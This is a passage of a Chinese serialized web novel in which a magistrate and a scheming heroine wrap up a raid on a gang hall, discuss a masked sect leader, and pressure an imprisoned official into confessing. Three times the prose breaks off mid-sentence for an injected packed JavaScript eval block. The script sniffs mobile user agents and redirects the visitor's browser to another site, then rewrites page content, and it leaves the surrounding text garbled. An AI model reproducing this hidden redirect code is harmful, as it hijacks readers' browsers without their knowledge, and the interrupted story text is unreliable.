黑石堂里救火救得热火朝天的时候，几条街外一个不起眼的院子里，喂马的草料堆里传来窸窸窣窣的声响，不多时，钻出一个脑袋来。 孙九爷顶着一头的草料，听了听动静，见周围安安静静的，才钻了出来，疾步出了屋子，冲向一旁的马厩。 他牵马出棚，一跃而上，坐在马背上往黑石堂方向看去，见火光已经映红了小半边天。 “你们慢慢救吧！爷不奉陪了！”他笑着，拍马而出。 虽有火油助攻，亏得救得及时，火势终究还是控制了下来。正堂烧了大半，但书房那边好歹没受多大影响。 黑石堂的喽啰，被就地关入了他们自己的地牢。 俞用之带着衙门的人赶来，将人逐批登记造册，清查关押，等日后审完了再押走，对外也只用说“私设赌场、违规放贷、杀人放火”之类，绥陵父老都知道的案由。 周冶站在院中，冲那戴面具的白衣青年一拱手：“萧门主，辛苦了！今夜多亏贵门相助。” 萧白水无奈地“哎”了一声，痛心疾首地道：“今夜之后，江湖上要传出我白水门是靠下药行走江湖了。” 他不满地瞥了周冶一眼，“要不是……孟小姐特意叮嘱，这一战若造成死伤，周大人不好交差，我哪用得着软筋散？兄弟们也都嫌没能打痛快呢。” 周冶听着那不悦的语气，冲他再一拱手，谢道：“此番的确要贵门多担待了。不过，想来，门主也不是那沽名钓誉之辈。而一门之名声，也不是这么一战便能定的，终究也是看贵门素日的门风。萧兄，你说，是不？” 萧白水一噎，转头看了他一眼，冷笑一声道：“这孙九爷可走脱了，周大人可有线索？” 周冶手一扬，侍剑便将王成押了上来。 周冶走上前去：“你主子已经扔下你，自己走了。不过，他抛下你也不是坏事。在衙门手里，你还能暂时保住这条小命。不用跟你那兄弟刘昆一样，连怎么死的都不知道。” 王成心里哪里没数，却拧开头，不去看他。 周冶往后堂看了一眼，笑问：“那天井里头有密道吧？那石板分明是新碎的，可井里却什么都没有。你们这暗道做得好啊！” 王成仍是不语。 周冶笑笑，看了看被押着从旁经过的黑石堂人众，淡淡地道：“知道这密道的人，不会多，但必定不只你一个。这机会你既不要，我就给别人吧。” 王成想着，主子已经跑了，此刻说与不说，他们都能打开密道，不过就是拖会儿时间罢了，还不如为自己打算，于是开口道：“好，我带你们去找。” 暗门被反锁，一时半会儿打不开，王成直接带他们追去了马厩，果然见马厩里少了一匹马，而旁边堆草料的屋子里，分明有被掀开的痕迹，但人早就不见了。 *** 萧白水不打算陪周冶应付这些琐碎，冲他一拱手就飞身走了。周冶安排完事情回衙门，已是深夜。 他一路走，一路不自觉地打着呵欠。 想到萧白水，一个念头不由冒了上来。他转头看着一旁无声地打着呵欠的涤砚，笑道：“如果县令也能戴面具办公就好了。那我就多找几个涤砚，放在堂上，一点不耽误公子我吃喝玩乐，还没人给我冠什么公子县令的名号，岂不快哉！” “公子又瞎说八道了。”侍剑抱着剑，一脸困意地笑道。 说话间，一行人走到了竹雨院外。周冶不自觉地往院里看了一眼，脚步突地一顿，灯竟还亮着。 他提步走了进去，完全不管身后侍剑和涤砚同时连声“哎——”的阻拦。 他刚走到院中，许是听到动静，窗户忽地被推开了。孟珂见他，目中微微一惊，随即展颜一笑。 难道她是在……等他？周冶心下一喜，笑着走上前去，突然又想到，这不通传就来的，更可能是人？他不自觉看向了屋顶，又四下扫了扫。 孟珂笑道：“大人辛苦了。” 他闻言回过神来，笑着摇了摇头：“不辛苦，小姐还没睡呢？” “大人还在为此事奔忙，我怎好安睡。”孟珂一手撑着窗棂，看他面带疲惫，轻声道，“大功告成了？” 周冶不无遗憾地道：“可惜，走脱了孙九爷。” 孟珂似乎并不意外，也不以为意，轻松地道：“无妨，这次把他的老巢端了，已算连根拔起。他想再起来，可没那么容易。” 周冶点点头，抬眸看她，轻声道：“也只能如此想了。” 孟珂道：“黑石堂这样的势力，罪状早就俱全，需要的只是一个拉下马的契机。如今，树倒猢狲散，底下人为了自己将功折罪，说话也就招了。” 周冶叹道：“只是，黑石堂也早不只是绥陵一县的势力，其他地方的，还得上报了朝廷，着其他州府协同清剿。” 孟珂点点头，两人隔着窗户，一时静默了下来。 良久，两人又同时开了口。 “夜里风寒，大人要不要进来坐坐？” “夜深了，要不就不打扰小姐……” 两人异口同声地开口，又同时顿住了，点头道“好”。 两人都笑了。 周冶的耳朵不自觉红了，指了指门口，示意自己马上进来。 孟珂笑着冲他点点头，放下了窗户，抬手摸了摸灼热的脸颊，心道，应该没有红吧？她轻轻咬了咬嘴唇，不会的，不会的。还来不及查看，抬眼就见周冶掀帘进来了。 周冶坐了下来，先扫了一眼桌上，摆着几个茶盏，也不只是这屋里人，还是接待过外人。 孟珂从炉上拎下烹水的壶，慢慢绕着圈，浇入茶中。 周冶看着她浇了一会儿，抬眸看她，慢慢地道：“如今，事情算暂时告一段落，有几个久在心中的疑问，也想问问小姐。” 孟珂心中早已有数，笑着看了他一眼道：“你问。” 周冶见她坦然，也不迟疑了：“义庄的账本，是小姐送上的吧？” 见孟珂笑而不语，周冶知道答案了，又问：“梁云钦的出逃被抓，还有他那一车石头，都是小姐吧？” 孟珂查看了一下茶汤色泽，再抬眸看他，戏谑地笑道：“我若说是，大人可要我交出那些钱财？” “他和黑石堂的赃款，都取之于民，原本也当收回来用之于民。”周冶顿了顿，看着她道，“不过，我相信小姐，自会用到最合适的地方，不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999185|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我过问。” 孟珂歪着头，笑道：“若我得了这笔钱，会分成几份。一份给那些‘无名尸’家属作补偿，一份留给义庄，作日后经营用，若有结余，则给那些……能给底层学一门安身立命的技能，减少贫病的人。” 周冶有些意外：“我以为，小姐会说给救助老弱的善堂。” “善堂救助是最后的兜底，但若是能给底层百姓更多机会，”孟珂笃定地道，“人人老有所养，便不需要靠善堂了。譬如小袁，给他机会自食其力，哪里需要善堂养他，甚至养他未来的一家子？救济只能是最后不得已而为之的辅助。” 她目光坚定明晰，闪着光芒，周冶看了良久，才点头道：“小姐这话有理。百姓生活好了，救助的需要也就少了。” 说完，他又沉默了，好半天才艰难地开口道：“那张举的尸体被埋了两回，挖了两回，最后才被送去南山义庄，这也是小姐的……有心指引吧？” 孟珂抬眸看了他一眼，给周冶倒了一杯，又给自己倒上。 周冶似乎也没指望她答，径直说道：“他身上有两种不同的土质，说明曾在两个不同的地方被掩埋过。一处的土质含沙量高，应该是河边。另一处，根据他身上带的一种少见的草来看，应该是在城外的望郎坡。” “他被砍下了右手拇指和食指，但创面平整，身上并未因为挣扎而溅上血迹，说明是死后所为。也就是说，有人刻意把他的死，引向了放印子的，乃至背后的黑石堂——虽然这并不说明，就不是黑石堂的人干的。” “此外，他的脖子上有明显的勒痕，但口鼻中还有土，不是被勒死，而是窒息而亡。应该是晕过去，但被误以为死了，等被埋入土中，活活闷死的。” 说到这，周冶端起面前的茶盏，隔着茶盏看向孟珂，“他这死得……也够曲折的。” 孟珂冷冷一笑：“他值得这份曲折。” 见周冶脸上升起的疑惑，孟珂手摩挲着茶盏，冷冷地道：“让他在死前体会到，什么叫做无尽的黑暗，什么叫‘叫天天不应叫地地不灵’，什么叫做‘绝望地等死’，很好。” “听小姐这话，这张举背后似有隐情？” “这张举的生平，大人想必都知道了。”孟珂道，“他失踪那段时间，跑去了闾城，找他的前妻董雁儿，当着孩子的面，一刀刀砍向了他母亲……” 周冶闻言一惊：“那倒还……真值得这份曲折！这董雁儿可活下来了？” “活下来了。”孟珂点点头，看向窗外的夜色，好像看到了很远的地方，“她那么艰难，还那么努力，便是无情的天道，也该出手一助。” 她的目光收回来，看着周冶，“她值得一个重新活过的机会，你说是不是？” 周冶点了点头。 “所以，杀张举的到底是谁？”这句话他终究没问出来。 有些事，他不当问，她不能说。 *** 过了好一会儿，周冶抬眼看孟珂，迟疑地问出了心中最大的问题：“围剿黑石堂，非白水门不成。这白水门……小姐觉得，可会成为第二个黑石堂？” 孟珂想都没想，轻轻摇了摇头，淡淡地道：“没人敢保证。” 周冶却一愣，他知道孟珂不会出言力保，但她应该多少会解释几句。 就听她又平静地补了一句，“但若有那一天，剿了便是。” 周冶笑了，点着头道：“是，衙门自然不能因为有那个可能，就去定罪其于未犯之时。只是……” 只是，他总觉得，这白水门的崛起绝非偶然，而她在其中又必定扮演了重要角色。 他抬眼看着她，不知道是自己太困了，还是怎么，只觉得她的脸在自己眼中时而清晰，时而重影交叠。 不过，现在的他已经不像初识的时候，非要弄清每一件事。他知道她是什么样的人，知道自己可以相信她，这便够了。虽然在好些事上，这么做有违职责，但他本也不是什么非得循规蹈矩、默守陈规之人。 孟珂察觉到了他的视线，抬眸对上他的目光，笑问：“你看什么？” “看你好看。”他脱口道。 孟珂怔了一瞬，似是没想到他会说出这种话。 周冶知道她不会接招，至少在她的大事解决之前，一定不会。于是，他目光一移，笑道：“我在想，那个白水门门主，你们怎么认识的？他又到底是谁？” 89. 火种 “萧白水啊？”孟珂未语先笑，像是忆起了什么有意思的事，慢慢地道，“有几年到处游走，路上遇见的。” 周冶见她并没有介意他发问，也没有一点想隐瞒的意思，于是继续道：“那此人的真实身份，你可清楚？他始终戴着面具，你可见过他真面目？” 孟珂抬眸看他，带着审视的笑道：“如果我说，我也没见他揭过面具，你信吗？” “我信你。”周冶看着她，脱口道，想了想，又疑惑道：“可是，你连脸都没见过，又如何能信他？” “感觉。”孟珂想也没想，脱口道，说出来自己也笑了，“我知道这不理智，这也不是我这人一贯的处事方式。可是，我就是信他。” “为什么？”周冶疑惑道。她这样的人，信任来得不会容易。 “也许是因为，我面对他，很安心。也许是因为，我在树起太多防备之后，偶尔也想冒冒险，找点刺激，于是在那么一个人身上，试着信任一下？” 孟珂边想边说，诚挚中带着些许迷茫，似乎自己也是因为他的发问才这么探究。 这种迷茫在她脸上很难看见。她始终是清晰的、明确的，一切都条分缕析，洞若观火的。可正是因此，周冶反而觉得她说的是真的。他甚至也有一点高兴——她心中还留了那么一点火种，还有那一丝试图去探索，去相信的心思。 孟珂没看他，继续自顾自地道：“一开始，我们只是萍水相逢。后来三番五次遇到，便说说话，顺路的时候一起走一段，并不需要信任。等慢慢熟悉，有了一定的信任之后，才一点点走近些，就自然而然的......后来做事，也是一点点合作起来的。” “到了......可能会要紧的关节上，我也想过要不要探究他的真实身份。但是，又想想，我自己虽然没戴一张人人可见的面具，可我的身份就真实吗？我这张不能天天更换的皮肉之脸，难道就是真的吗？我自己尚且做不到，又何必要把别人剥得干干净净呢？” 她顿住了，脸上浮起一抹嘲讽的笑意，“再说了，顶着一张见过的脸，甚至是长久相处的、身世背景清晰的脸，就能信吗？” 周冶知道她想起了霍茹蕙，想起了曾怀义，那些曾同她，同梁家人亲厚无间，却做出背叛血洗之恶的人。 他不想她继续想下去，稍稍转开道：“你就不曾有过好奇？” 孟珂顿了顿，点头道：“自然也有过。我也想过，若有一天他揭下了面具，我或许会很惊讶，或许会觉得原来如此，或许就是我很熟悉的人。不过，那都不重要。若有那一天，我看见，便是看见了。若没有那一天，也没关系。” 周冶闻言低头笑了，笑着笑着又抬眸看她。她这人经历生死，习惯人事变迁，时时透出那么些出世的禅意来。 此刻，他心中甚至浮现出一个念头——若不是有仇恨将她牵扯在这人世，她会不会遁入空门？不对，想起去即是庵那次，她瞧着仿佛对空门也看破了似的。这样的玲珑剔透心，莫不是真的只能飞升上仙了？ 周冶把自己思绪拉了回来，又忍不住道：“那你有没有想过，这萧白水可能不只一个人？” 他那日在屋顶所遇之人，虽刻意做出些江湖豪侠的样子，但他比谁都知道，真正的江湖人与高门大族养出来的人，是不同的。高门公子，怎么掩藏也会透出些与生俱来的傲气，倜傥的公子气，甚至自己都察觉不到的习惯。他自己久在江湖行走，却也常常被江湖人认出来，便是这个原因。 而这一夜看，这人比上次看着凌厉有余，却少了那份昭彰的公子气，倒像令行禁止的武官、侍卫之流。 这二人乍一看形似，细品则知道气韵不同。但共同的是，这二人都不像真正的江湖草莽，只怕都是京中人士。 他本就怀疑这白水门的鹊起，只怕跟孟珂的复仇关系重大；而这门主本人，与她的的关系也不是简单的利用江湖势力。 但让他意外的是，她竟不知此人身份。他就更怀疑是京中高门圈子中的人了——为了防止被认出，才这般故意隐藏，甚至拿不同的人来混淆视听，打消疑虑。但对上他，一则事出突然，二则比对她少些防备，反而让他看出几分端倪来。 “不只一个人？”孟珂闻言愣了一瞬，似乎没往这上头想过，但经他这么一点破，倒发现自己大概一叶障目了。因为有那张面具，便没想过，面具之下还有换人的必要。 她笑笑，点头道：“很有可能。连我都要......安排人玩障眼法，别人自然也会。” *** 两人正说着，一个白影就跃入了县衙围墙，几个起落，便落在了竹雨院的屋脊上。 屋脊后突然翻身坐起一个人来，也是白衣，银色面具。 这人翻身而起便顺势躺在了屋脊翘起的角上，一手枕在脑后，一手拎个酒壶，松松地在手中晃悠。 那白影揭下面具，恭敬地一揖：“公子，那孙九爷躲去了思园，就他一人。可需要逼出来？” 周冶没猜错，这带人围剿黑石堂的白影，正是卢宽的侍卫鸿冥。 “不必，”卢宽抬手一饮，擦了擦嘴角道，“盯着就是了。阿珂她需要帮忙的时候自会联络，若没有，就别多事。这城里城外的漏网之鱼，盯紧些，别让他们鱼入大海。其他州县的，也盯好了，别让他们来救。” “是。”鸿冥顿了顿，想起了什么，将手中面具双手递上，“公子！” 递出去又发现公子没手拿，又收了回来，低声道，“那还是小的先收着。” 卢宽笑着抬眼看他：“那周冶可有注意到什么？” 鸿冥道：“正如公子所言，他是很关注门主，有意试探，但他也就见过公子一眼，想必……也看不出什么来？” 卢宽点点头，又小抿了一口酒，目光看向了檐下窗户。 鸿冥往他视线落处看去，见一男一女两个人影，正好映在窗上，忍不住道：“公子，您好不容易才抽身来这一趟，这都要走了，真不见见小姐？” “怎么见？”卢宽笑着转眸看他，反问道，“是告诉她，我不管京中局势，不听父亲的话，扔下府里事情，就为了溜过来见她一面？还是对着她揭下面具，说，‘阿珂，对不起，这么些年来，都是我在逗你玩？’” 鸿冥看看他，又看看窗户上男人的身影：“可是，你就这么让小姐与那周家大公子这么……朝夕相处，你就不担心……” “我……有什么好担心的。” 卢宽扯了扯嘴角，扫着周冶的身影，又转过去看着孟珂，目光顿时柔和了。 “如果阿珂她开心，我也替她开心。这世上，不管是谁能让她开怀，我都高兴。她已经失去了太多，小小年纪，却活得青灯古佛似的。如果她真的想要什么，我想她如愿。” 鸿冥不语了，顿了一会儿，又忍不住抬头看着公子，皱眉道：“可公子你，至少应该让小姐知道你的心思。小姐本就是经历过那么多困苦的人，这世上，还能有比你对她更用心的人吗？” 卢宽嘴角噙着笑，想了想，吐出一口气道：“再说吧，等她完成了心中所想，才有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999186|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暇去顾自己。现如今，她不会分心的。” 他的目光挪到了周冶的身影上，似乎是在对自己说，“不会的。” 打更的声音远远地传了过来。鸿冥恭敬地催道：“公子，咱们该走了！” “对啊！该走了！这都几更了？” 卢宽仍看着窗户，随手在身侧摸索了一下，摸到截短树枝，抬手便往下一扔道，“哪有那么多话聊不完？” “是咱们该走了。”鸿冥看着他，轻声劝道，“再不走，明日到得晚了，该被老爷发现了。” 鸿冥说着，自己的声音不自觉就低了下去，公子看着潇洒，日子貌似悠游，可左是老爷，右是小姐，他也左右为难。 不自觉地叹道，“要是京里的事早点了了就好了。那公子大可以陪小姐在此，不用两边牵念。” 卢宽闻言，笑出了声，调笑道：“哟，出息了！都敢诅咒圣上早日驾崩逝了！” “公子说笑了！”鸿冥不好意思地笑道，“咱们民间有句话叫早死早投胎，得个解脱，不比这样拖着受罪强？” 卢宽叹道：“哪里是他自己想拖？分明是京中那些人没争斗出结果，一时还不能让他死罢了。” “这些……鸿冥就不懂了。” “你以为，圣上驾崩了，一切就能尘埃落定了？”卢宽看了他一眼，叹道，“那时候，真正的斗争才开始呢。不经过一番血腥厮杀，是尘埃落定不了的。” “那……又得多久了？”鸿冥道，“那公子你岂不是一直都得被困在京中？” 卢宽苦笑不答。一提起这个话题，他便失去了兴致，也不再延捱，一口气将壶中酒饮尽，站了起来。 夜风吹来，宽袍广袖迎风舞动，谪仙下凡似的。鸿冥一身白衣，已经是俊逸出尘，可如今有卢宽在旁一比，登时便落了下乘。 “走吧。”卢宽轻轻叹口气，便飞身而起，但还是忍不住回头，再看了一眼。 就是这一眼，正好见孟珂推开窗，朝他这边看了过来，面上依稀含着些笑意，正像一轮皎洁清亮的月儿。 不枉此行了。他笑着，心道。 *** “今日这月色，倒有点恍若白日似的。”孟珂看了看，慢慢放下了窗户。 周冶也看了一眼，果然清辉满地，又想起了关键性的问题：“你觉得，这孙九爷会在哪？” 孟珂抬眸看他，两人一对眼神，就知道他们猜到一处了，慢慢点头道：“很有可能。我总觉得，他不会走远。” 周冶的手在桌上不自觉地轻轻敲了起来，疑惑道：“这黑石堂被端之前，他自然有利用价值。可如今他成了累赘，这梁夫人还会保他吗？仅凭一个老相好孙嬷嬷，他们之间的关系就这么牢不可破？” “如果他们有超出利益的关系呢？”孟珂抬抬眉毛，笑道。 周冶看她一副了然于心的样子，忙问：“什么关系？” “比如血缘？” “血缘？”周冶惊道，“难道……他们是一家人？” 孟珂道：“这孙嬷嬷生过一个孩子，算来跟霍茹蕙一样年纪。” “所以这霍茹蕙，可能是他们二人的孩子?”周冶接过话头，点着头道，“这么一说，是有可能。” 孟珂抬着支颐，思索着，手在茶盏上慢慢画着圈，说道：“这鱼儿入了水，要捞是捞不出来的。” 周冶明白了她的意思：“你是想……扔个饵下去？” “不，”孟珂轻轻摇头，看着他笑道，“直捣黄龙。让他无处藏身！” 90. 生门 不出周冶所料，京中随时生变，她果然不会慢慢等了。 “对了，”孟珂道，“这直捣黄龙之策，还需要向你要一个人。” “要谁？”周冶嘴上在问，但那语气却是要谁给谁的笃定，也立刻就猜到了，“你要梁云钦？” 听他话音里的一丝迟疑，孟珂笑了，直视他眼睛，认真道：“放心！我不会私刑办他。只要在刑部审核批文下来之前，把他交给我一段时间就行。他不是孙九爷，跑不了。” 周冶想了想，点点头：“小姐打算怎么用？” 孟珂头一歪，笑道：“你很快就会知道了。” 周冶笑着看她，应道：“好。” “谢大人成全。”孟珂抬起茶盏，冲他笑道。 这一笑，周冶觉得自己似乎有点微醺的感觉，这喝的明明也不是酒啊，不过，嘴角已经不管不顾地漾起了笑意。 孟珂脸上的笑却慢慢散了。她认真地看着周冶，迟疑了一瞬，问道：“我那么多事瞒着你，你还这么信任我，放心地配合我……就不怕我把你算计了？” 周冶抬眸看她，顿了顿，笑意变成了自嘲：“其实，我心中有过那么点……不舒服的。” 一开始，他自己也有点说不上来，那种不舒服是什么。 明明她这次已经对自己很开诚布公了，愿意把知道的都告诉他，也愿意同他商量、计划；而那些没说的，他也能查到、猜到，也都是告诉了他，反而会让他难做的事。可是，他心里还是有些异样。 她什么都想到了，都做到了，而自己只是她计划中的一个环节，一个部分，还什么都替他考虑上了。清楚地知道这些，可他心里是有些失落的。 他发现，自己并不介意那些“难做”，甚至……愿意被她为难得再多一点。就像方才这样，直接要求他做些看起来“为难的事”。 孟珂看他沉默了许久，眉眼间甚至露出些困惑，问道：“你是怪我没有对你和盘托出？” “也不到责怪。”周冶摇了摇头，又顿住了，猛地抬起眸子看她——他突然意识到，那种不舒服是为什么：她越是什么都自己做了，越是什么都替他考虑，便越提醒着他，她把他摆在了一段牢不可破的距离之外，他是个外人。 而他希望她能需要他，甚至依靠他。他想让她，近一点。 不过，他旋即又想，清楚地知道她经历过的那一切，他又如何能希望她，留什么疏漏，甚至把她人生中最重大的事，托赖于他这样一个还什么都不是的外人呢？别说他，连卢宽，她也不曾托赖。 她是个主意特别大的人，想定了的，谁也改变不了。卢宽也无可奈何。而他能这样陪伴她走这一路，正是因为他只是个外人，对她来说没那么紧要罢了。若非如此，她会更早地将他完全排开在外了。 因为不够分量而没被排除在外，他是该高兴还是不高兴？不过，想到这儿，他倒是突地释然了，坦诚地道：“其实就是觉得，我们不需要太过生分。但是，你这样做，我都能理解。” 孟珂去看着他，一时没说话。 他似是怕她不信，看着她，认真道，“真的能理解。你不用怕为难我，也不要想怎么向我解释。你就按你想做的去做就是了。我会跟上你，陪着你。” 孟珂回看他的眼睛，那幽深如渊的眸子，虽然还是看不清楚，但却相信他的诚挚。看着看着，觉得仿佛要陷落进去一样，她忙收回了目光，点头“嗯”了一声。 两人却一下沉默了。半晌，还是孟珂先开了口。 “我常常会问自己，到底是不是把别人当棋子。就算我怎么尽量不那么做，非做不可的时候也尽量给人选择的自由，但还是会觉得，这样不好。我自己是不介意当棋子，但别人介意呢。” 她顿了顿，又道，“就我自己而言，能当棋子的，都还算有些价值，总比弃子好。要说是棋子，谁又不是？便是帝王将相，也概莫能外。这人间的棋盘上，真正的执子之人，只有那无情天道。” “而我们这些小棋子，只要能把世道朝着自己想要的方向，拨动那么一点点，哪怕只影响自己身周那四口气，发挥上一丁点自己的作用，就不赖了。” “就像这个案子，我不相信老天有眼，会降下神雷，直劈那些人去。我宁愿做天道的一枚棋子，帮着成就今日的局面。” 周冶听着不由高兴了些，确认道：“你并不是跟我见外，而是尊重我，给我选择的自由？” 也不等她答，他身体微微后仰，摸着心口往下捋着道，“这样，我这心里头就舒服多了。” 孟珂也笑了。笑着笑着，想到了什么不太愉快的事，笑意渐渐淡了下去，提醒周冶道：“有个人，现在可算记恨上你了。” 周冶好笑道：“岂止一个？这案子牵扯了多少人？孙九爷正在亡命，那梁云钦应该也巴不得我死……” 孟珂点点头，但很快又摇起头来：“最恨你的不是他们，而是梁夫人。我们的霍茹蕙小姐，现在一定气疯了！” 周冶“哦”了一声，笑道：“她啊？” 又看着她，品着她的神色道，“你很高兴？” 孟珂没否认，笑道：“我可以想象出她脸上的每一丝表情。她本来在看梁云钦笑话，等着落井下石，谁料自己突然掉坑里了。谁能想到，你声东击西，一个回马枪直接砍了她最可靠的臂膀。” 她调侃地看着他笑：“恭喜你，如今成了她眼中，仅次于我的眼中钉。” “那是值得恭喜。”周冶点着头，抬眸看着她，“毕竟，我们成了一对儿……眼中钉。” 孟珂睨了他一眼，脸上的笑容却一丝不动，仿佛一动就会破掉什么似的。 很好，她虽然不回应，但终究没有抗拒。周冶心道，她那堵墙没有硬生生地冲他推过来，这就够了，于是，适时地退了回来，玩笑道，“小爷我这么帅，就暂且允许她盯一盯吧。” 孟珂嗔了他一眼：“她可不只是拿眼睛盯，她可是会直接……动手的女人。” 周冶“嘁”了一声，故意夸张地说道：“这话说得！她一个有夫之妇，对我动手，那……我告诉她夫君去！” 一句话把孟珂逗笑了。 周冶也笑得更深了。 *** 梁云钦在牢里蹲了数日，终于在这天夜里等到了孟珂。 看到救星，他眼泪都要下来了，带着真诚的哭腔道：“没想到，再见小姐，我已在狱中。” 门一开，孟珂低头进来。 他忙疾步上前，恭敬地下跪道：“小的诚意日月可见。还求小姐垂怜，救我一命。” 意思是全副身家都送上了。“是吗？”孟珂笑道，“那里头可没有你在外州置的产，钱庄留的银钱。” 这也知道？梁云钦顿了顿，忙道：“那……那些自然也是要献上的，只是来不及处置就身陷囹圄，待我出去，一定……。” 孟珂笑笑：“瞧你，当我真要将你搜刮干净一样。不过是看你的诚意罢了。” 不追究就好，梁云钦心下暗暗松了口气，讨好地笑笑。 孟珂扫了他一眼：“你们这些人，口中什么话说不出？也就钱多少，诚意就有多少。我不缺钱花，那赶着送钱上门的人，可以从熹园门口一路排到京城。” 粱云钦知道，这也是真话，当初曾怀义送谢礼去，确实没收。看来，此女做事全凭好恶。 事办成之后，不收谢礼无妨。但他如今是命悬一线，巴不得人收下。民间有言，求神拜佛，端着供品，捧着高香，只怕找不到庙门。 孟珂突然没头没尾地问：“这梁夫人与曾怀义，是什么关系？” 梁云钦猛地一抬头，摸不准她何来这一问，于是看着她笑，试探道：“小姐问他们这无干的人做什么？” “别跟我兜圈子。”孟珂道，“我问，你就答。” 梁云钦摸不准她到底知道多少，斟酌着道：“这孙九爷同梁夫人身边的孙嬷嬷……走得很近，他们也算……老熟人？” 孟珂冷笑不语，给身边人一个眼神，便转身要走。 梁云钦忙道，“算一家人！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999187|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟珂顿住了脚步，冷笑道：“我没有功夫跟你浪费时间。这是第一次，算你不知道规矩，饶你一回。以后就没这机会了。” 梁云钦冷汗直下，连连称是。她果然什么都知道，不过是试他而已。 孟珂似乎失去了耐性，也不与他兜圈子了，直接道：“你若诚心投靠，也不是不行。可要做我熹园的人，是有条件的。” 梁云钦恭敬道：“小姐尽管吩咐。” 孟珂抬手一挡：“别急，还轮不到让你交投名状呢！做熹园的人，第一条规矩，便是忠心。” “小的忠心，肝脑涂地，死而后已……” “你用不着赌咒发誓，那玩意儿没用。说破大天去，那诅咒毒誓什么时候发作，怎么发作，不是我说了算。”孟珂转眼看着他，目光锐利，“我要的，是我说了能算的东西。” 梁云钦听明白了，但不确定她具体要的是什么，猜道：“小姐是要……人质？” 孟珂笑了：“对有些人来说，妻儿老小就是人质。” 她扫了他一眼，讥笑道，“但对有些人来说，除了他自己的身家性命，谁都不够为质。所以，这质押的东西嘛，自然得因人而异。” 这是要让他拿最看重的东西为质？身家已经给了，难道是性命？梁云钦不由看向了刚才喝的那杯茶。他听说过一些用毒药控制人的，定期给解药，叛则必死的，难道…….已经下了？ “放心，没毒。”孟珂一眼看穿了他的心思，嗤笑一声，看着他，一个字一个字地吐出一句话。 “我可以给你开一道生门，但得交出你的死穴来换。” *** “死穴……”梁云钦支吾着拖时间，脑中疯转着，能说什么呢，真死穴能交给人吗？ “就你这种中途易主的，比不得一手调教的自己人。”孟珂垂眸看着他，冷冷地道，“我岂知你以后会不会又转投他人？不捏着你的命门，怎么放心用你？除非手中有你的把柄，让你便是想转投他人，也不敢。” 梁云钦还在想怎么才能囫囵过去：“小的怎敢？” “这事没得商量！”孟珂扫了他一眼，转过身去，“拿捏不住的人，我不用。” 梁云钦谄媚地笑道：“小姐不是已经掌着小的命门了。” “两句，你已经搪塞我两句了！”孟珂最后瞟了他一眼，提步便走。 梁云钦忙往前一扑，张开手臂，拦在孟珂身前。 “走开！”孟珂身边的丫头冷声斥道，“省省吧，别想怎么编了！枉费我们处处照顾你，还浪费小姐功夫来见你。” “我们小姐才懒得追究你那些劳什子前尘旧事，不过试试你诚不诚心。这一试，梁老爷果然是有二心！但凡你真打算忠心侍奉，还怕有把柄在小姐手中？说难听点，要办你，还需要把柄吗？” 对啊，要办他，还需要把柄吗？梁云钦如遭棒喝，忙膝行几步，高声喊道：“小姐！我说！我说！我都说！我刚才就是……一时没想到，到底什么是死穴。小姐这就急了不是？” 梁云钦急道，“我说……我从哪里说起呢？” 那丫头嘲道：“梁老爷这样活了大半辈子的人精，得有多少秘事！” 梁云钦笑笑，这大半辈子的事，委实不少，一时还真的千头万绪。 孟珂似乎看出了他的茫然，指点道：“你之前既然出告樊仲荣，就从他说起吧。你如何认识他。他和你，还有曾怀义，到底怎么结的仇。” 梁云钦抬眼看着孟珂，她从最熟悉的樊仲荣问起，倒是合情合理，只怕还有应证双方说法的意思。但曾怀义的案子闹了那么久，从来都说的是他曾樊二人之仇，从未把自己牵扯进去，她怎么知道这其中还有他的事呢？ “这就哑巴了？”那丫头又道。 “不是，不是，”梁云钦忙道。 他心下急转，这事说破天去也是以前的事，且与她孟珂无干，眼下还是先保命要紧，于是，心一横，终于开口道，“我是从曾大人……曾怀义，邀樊仲荣来绥陵的时候，认识他的……” 91. 苏姒 狱卒来看了几回，但梁云钦看着孟珂的眼色，也不敢停，就那么一件一件地说下去。 “好吧，我看你还算有几分诚心。”孟珂终于似是疲惫了，闭了闭眼睛复又睁开，扫了他一眼道，“你的事一日是说不完的，今日我也累了，改日继续。” 梁云钦正松了口气，就听她又补了一句，“你且将方才说的这些，写份切结书来。” “小姐！这……”梁云钦抬眼看向孟珂，没想到还有这一出。 就是这一抬眼，他余光中仿佛有人影在栅栏外一闪，待再细看，却又什么都没看见。 一旁那不知名的丫头嘲道：“梁老爷看什么呢？这是做的坏事太多，杯弓蛇影了？” “姑娘说笑了。”梁云钦只得赔着笑，低下了头去。 